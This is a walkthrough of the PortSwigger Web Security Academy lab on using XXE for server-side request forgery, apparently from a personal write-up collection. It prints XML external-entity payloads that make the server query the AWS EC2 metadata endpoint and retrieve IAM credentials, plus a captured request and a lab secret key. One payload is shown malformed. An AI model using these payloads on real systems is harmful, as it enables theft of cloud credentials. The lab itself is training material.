← Back to Writeups
PORTSWIGGERN/AXXE

Exploiting XXE to perform SSRF attacks

XESXOR9/2/20263 min read
#xxe#portswigger#web-security-academy

Exploiting XXE to perform SSRF attacks

Platform: PortSwigger | Category: XXE | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, XXE

Summary

Walkthrough of the PortSwigger Web Security Academy lab Exploiting XXE to perform SSRF attacks (XXE). This lab demonstrates a xxe vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — XXE

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Overview :

Exploiting XXE to perform SSRF attacks

Aside from retrieval of sensitive data, the other main impact of XXE attacks is that they can be used to perform server-side request forgery (SSRF). This is a potentially serious vulnerability in which the server-side application can be induced to make HTTP requests to any URL that the server can access.

To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value. If you can use the defined entity within a data value that is returned in the application's response, then you will be able to view the response from the URL within the application's response, and so gain two-way interaction with the back-end system. If not, then you will only be able to perform blind SSRF attacks (which can still have critical consequences).

In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:

xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

Solution :

The lab server is running a (simulated) AWS EC2 metadata endpoint at the default URL, which is http://169.254.169.254/

Access the EC2 instance -

Clicking on checkstock , a request is sent as follows.

xml
POST /product/stock HTTP/1.1
Host: 0a6b0074032a636f8001716f00660002.web-security-academy.net
Cookie: session=IO1xzxtsKi3p7KPymgSicKBsVEpCG8sT
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a6b0074032a636f8001716f00660002.web-security-academy.net/product?productId=2
Content-Type: application/xml
Content-Length: 107
Origin: https://0a6b0074032a636f8001716f00660002.web-security-academy.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>1</storeId>
</stockCheck>

First we declare a DOCTYPE with an external entitiy which fetches the url http://169.254.169.254 from the backend system - <!DOCTYPE foo [ <!ENTITY aws SYSTEM "http://169.254.169.254/"> ]>

Then we can try to refer the entitiy aws in between the <productID> tags to fetch the url & return the response of the application.

image

We can see that it returned latest which is the starting path where we can get the IAM secret access key.

http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME - Full path that returns the security credentials of that role.

We don't know what is the ROLE_NAME here. So lets first fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY aws SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]>
 <stockCheck>
  <productId>&aws;</productId>
  <storeId>1</storeId>
</stockCheck>

image

We now got to know that the ROLE_NAME is admin. Include admin in the uri & send the request again.

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY aws SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
 <stockCheck>
  <productId>&aws;</productId>
  <storeId>1</storeId>
</stockCheck>

image

Now we got the secret access key from AWS EC2 - Dzwohf7utghOfHiha9CFLAxKD6LurMKh4QrzaBCE

And the has been solved.

image

Key Takeaways / Lessons

  • Understanding XXE detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Exploiting XXE to perform SSRF attacks